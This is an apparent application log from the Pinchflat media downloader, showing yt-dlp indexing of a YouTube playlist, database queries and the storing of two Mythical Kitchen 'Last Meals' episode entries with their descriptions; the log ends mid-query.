[debug] Current batch of media processed. Will check again in 1000ms 23:14:59.047 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:59.868 [debug] Current batch of media processed. Will check again in 1000ms 23:15:00.029 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:00.869 [debug] Current batch of media processed. Will check again in 1000ms 23:15:01.870 [debug] Current batch of media processed. Will check again in 1000ms 23:15:02.871 [debug] Current batch of media processed. Will check again in 1000ms 23:15:03.872 [debug] Current batch of media processed. Will check again in 1000ms 23:15:04.873 [debug] Current batch of media processed. Will check again in 1000ms 23:15:05.874 [debug] Current batch of media processed. Will check again in 1000ms 23:15:06.875 [debug] Current batch of media processed. Will check again in 1000ms 23:15:07.876 [debug] Current batch of media processed. Will check again in 1000ms 23:15:08.877 [debug] Current batch of media processed. Will check again in 1000ms 23:15:09.878 [debug] Current batch of media processed. Will check again in 1000ms 23:15:10.879 [debug] Current batch of media processed. Will check again in 1000ms 23:15:11.880 [debug] Current batch of media processed. Will check again in 1000ms 23:15:12.881 [debug] Current batch of media processed. Will check again in 1000ms 23:15:13.882 [debug] Current batch of media processed. Will check again in 1000ms 23:15:14.883 [debug] Current batch of media processed. Will check again in 1000ms 23:15:15.884 [debug] Current batch of media processed. Will check again in 1000ms 23:15:16.885 [debug] Current batch of media processed. Will check again in 1000ms 23:15:17.397 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/63/2d/632dfd72d4a58e1b51be0f7c65952e266843ecbf8655556ca7b90dccbdf600b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:15:17.397 [debug] Gracefully stopping file follower 23:15:17.397 [debug] QUERY OK source="sources" db=0.1ms idle=1519.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:15:17.397 [debug] QUERY OK source="sources" db=0.0ms idle=886.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:15:17.398 [debug] QUERY OK source="media_items" db=0.0ms idle=886.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-26 11:00:38Z], 3] 23:15:17.398 [debug] QUERY OK source="media_items" db=0.6ms idle=887.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_download","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Matthew Lillard eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:27 Tam the Mime\n2:47 Fear Of Death & Emotional Connection To Food\n5:42 1st Course\n7:24 Family Business Meetings at Don Jose's\n9:50 Acting Class vs. Typing Class\n11:59 Community & Defining Yourself\n13:40 Orange County Skater Kid\n16:50 Patron Saint Of The Weird Kids\n19:20 2nd Course\n22:05 How Food Divides People\n24:10 Emotional Connection to Food\n26:26 Climbing the Fame Ladder\n29:10 Dinner Party Play Readthru\n30:20 3rd Course\n33:05 Dungeons & Dragons\n36:37 Finding Your Purpose\n39:43 Connecting With Fans\n45:18 4th Course\n45:30 Thanking the Kitcheneers\n47:23 Parenting Creative Kids\n48:23 Josh's Rebellion Against His Dad\n51:29 Wanting Another Call With Dad\n53:10 SLC Punk\n56:46 What's Your Impact?\n1:00:06 What Do You Think Happens When You Die?\n1:01:06 Lightning Round\n1:03:09 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Matthew Lillard Eats His Last Meal", "a128c324-e5ed-4984-98f8-7849a97fe29d", "LhV-ltzpGW8", 3849, false, "https://www.youtube.com/watch?v=LhV-ltzpGW8", 1, "/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", false, false, false, 3, [], 1, ~U[2026-02-26 11:00:38Z], ~U[2026-03-28 03:15:17Z], ~U[2026-03-28 03:15:17Z], "Today, Matthew Lillard eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Matthew's Last Meal\n0:27 Tam the Mime\n2:47 Fear Of Death & Emotional Connection To Food\n5:42 1st Course\n7:24 Family Business Meetings at Don Jose's\n9:50 Acting Class vs. Typing Class\n11:59 Community & Defining Yourself\n13:40 Orange County Skater Kid\n16:50 Patron Saint Of The Weird Kids\n19:20 2nd Course\n22:05 How Food Divides People\n24:10 Emotional Connection to Food\n26:26 Climbing the Fame Ladder\n29:10 Dinner Party Play Readthru\n30:20 3rd Course\n33:05 Dungeons & Dragons\n36:37 Finding Your Purpose\n39:43 Connecting With Fans\n45:18 4th Course\n45:30 Thanking the Kitcheneers\n47:23 Parenting Creative Kids\n48:23 Josh's Rebellion Against His Dad\n51:29 Wanting Another Call With Dad\n53:10 SLC Punk\n56:46 What's Your Impact?\n1:00:06 What Do You Think Happens When You Die?\n1:01:06 Lightning Round\n1:03:09 Matthew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Matthew Lillard Eats His Last Meal", "LhV-ltzpGW8", 3849, false, "https://www.youtube.com/watch?v=LhV-ltzpGW8", "/downloads/Custom Downloads/2026-02-26 Matthew Lillard Eats His Last Meal/Matthew Lillard Eats His Last Meal [LhV-ltzpGW8].mp4", false, 3, ~U[2026-02-26 11:00:38Z]] 23:15:17.399 [debug] QUERY OK source="sources" db=0.0ms idle=519.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:15:17.399 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-26 10:00:03Z], 3] 23:15:17.399 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_download","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Elijah Wood eats his last meal. Have a question you've been dying to ask Chef Josh? Comment below starting with \"Ask Josh\" to ask what's on your mind, and Chef Josh will be checking in throughout the day! \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Elijah's Last Meal\n0:24 Josh's Favorite Failed Presidential Campaign\n1:37 Have You Thought About Your Last Meal Before?\n2:48 Elijah Didn't Graduate High School\n4:01 How Often Do You Think About Death?\n5:14 1st Course\n6:23 The Good Son \n7:56 The Lord Of The Rings\n13:50 Happy Feet\n17:50 The Greasy Strangler\n20:39 Ready or Not 2: Here I Come\n23:27 2nd Course\n27:25 Creating Genre Films\n29:37 What Motivates Elijah Wood?\n35:38 3rd Course\n37:19 Growing Up Around Sandwiches\n41:59 Elijah's On-Set Etiquette\n45:14 The Collaborative Nature Of Making Movies\n47:15 4th Course\n50:13 Guillermo Del Toro & His Monsters\n53:35 Come To Daddy\n55:13 Elijah's Directorial Debut\n57:03 5th Course\n58:28 How Travel & Food Can Connect Us\n1:00:10 Fundamentals of Life\n1:02:03 Parenting\n1:03:52 What Do You Think Happens When You Die?\n1:04:54 Lightning Round\n1:09:33 Elijah's Last Words\n1:10:03 THANK YOU FOR 100 EPISODES\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elijah Wood Eats His Last Meal", "fe078c4a-f69b-4441-a65f-e98f26fa96b9", "1gavEkxCsII", 4318, false, "https://www.youtube.com/watch?v=1gavEkxCsII", 2, "/downloads/Custom Downloads/2026-03-26 Elijah Wood Eats His Last Meal/Elijah Wood Eats His Last Meal [1gavEkxCsII].mp4", false, false, false, 3, [], 0, ~U[2026-03-26 10:00:03Z], ~U[2026-03-28 03:15:17Z], ~U[2026-03-28 03:15:17Z], "Today Elijah Wood eats his last meal. Have a question you've been dying to ask Chef Josh? Comment below starting with \"Ask Josh\" to ask what's on your mind, and Chef Josh will be checking in throughout the day! \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Elijah's Last Meal\n0:24 Josh's Favorite Failed Presidential Campaign\n1:37 Have You Thought About Your Last Meal Before?\n2:48 Elijah Didn't Graduate High School\n4:01 How Often Do You Think About Death?\n5:14 1st Course\n6:23 The Good Son \n7:56 The Lord Of The Rings\n13:50 Happy Feet\n17:50 The Greasy Strangler\n20:39 Ready or Not 2: Here I Come\n23:27 2nd Course\n27:25 Creating Genre Films\n29:37 What Motivates Elijah Wood?\n35:38 3rd Course\n37:19 Growing Up Around Sandwiches\n41:59 Elijah's On-Set Etiquette\n45:14 The Collaborative Nature Of Making Movies\n47:15 4th Course\n50:13 Guillermo Del Toro & His Monsters\n53:35 Come To Daddy\n55:13 Elijah's Directorial Debut\n57:03 5th Course\n58:28 How Travel & Food Can Connect Us\n1:00:10 Fundamentals of Life\n1:02:03 Parenting\n1:03:52 What Do You Think Happens When You Die?\n1:04:54 Lightning Round\n1:09:33 Elijah's Last Words\n1:10:03 THANK YOU FOR 100 EPISODES\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elijah Wood Eats His Last Meal", "1gavEkxCsII", 4318, false, "https://www.youtube.com/watch?v=1gavEkxCsII", "/downloads/Custom Downloads/2026-03-26 Elijah Wood Eats His Last Meal/Elijah Wood Eats His Last Meal [1gavEkxCsII].mp4", false, 3, ~U[2026-03-26 10:00:03Z]] 23:15:17.399 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 03:15:17Z], ~U[2026-03-28 03:15:17Z], 3] 23:15:17.400 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:15:17.401 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [121, 215, ~U[2026-03-28 03:15:17Z], ~U[2026-03-28 03:15:17Z]] 23:15:17.401 [debug] QUERY OK source="media_items" db=0.0ms idle=0.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:15:17.401 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:15:17.401 [info] No notification servers provided for source 3 23:15:17.401 [debug] QUERY OK source="tasks" db=0.0ms idle=0.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [122, 3, ~U[2026-03-28 03:15:17Z], ~U[2026-03-28 03:15:17Z]] 23:15:17.401 [info] {"args":{"id":3},"id":118,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":25559061,"event":"job:stop","queue_time":589266,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:15:17.401 [debug] QUERY OK source="tasks" db=0.0ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:15:17.402 [debug] QUERY OK source="media_items" db=0.0ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213] 23:15:17.408 [info] {"args":{"id":215},"id":121,"meta":{},"system_time":1774667717408774557,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:15:17.408 [debug] QUERY OK source="media_items" db=0.1ms idle=7.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [215] 23:15:17.409 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:15:17.409 [debug] QUERY OK source="tasks" db=0.1ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:15:17.409 [debug] QUERY OK source="sources" db=0.0ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:15:17.409 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [213, 215] 23:15:17.409 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:15:17.409 [debug] QUERY OK source="media_items" db=0.1ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [215] 23:15:17.409 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [215] 23:15:17.409 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:15:17.409 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:17.409 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:17.410 [debug] Running yt-dlp command for action: get_downloadable_status 23:15:17.410 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:15:17.410 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 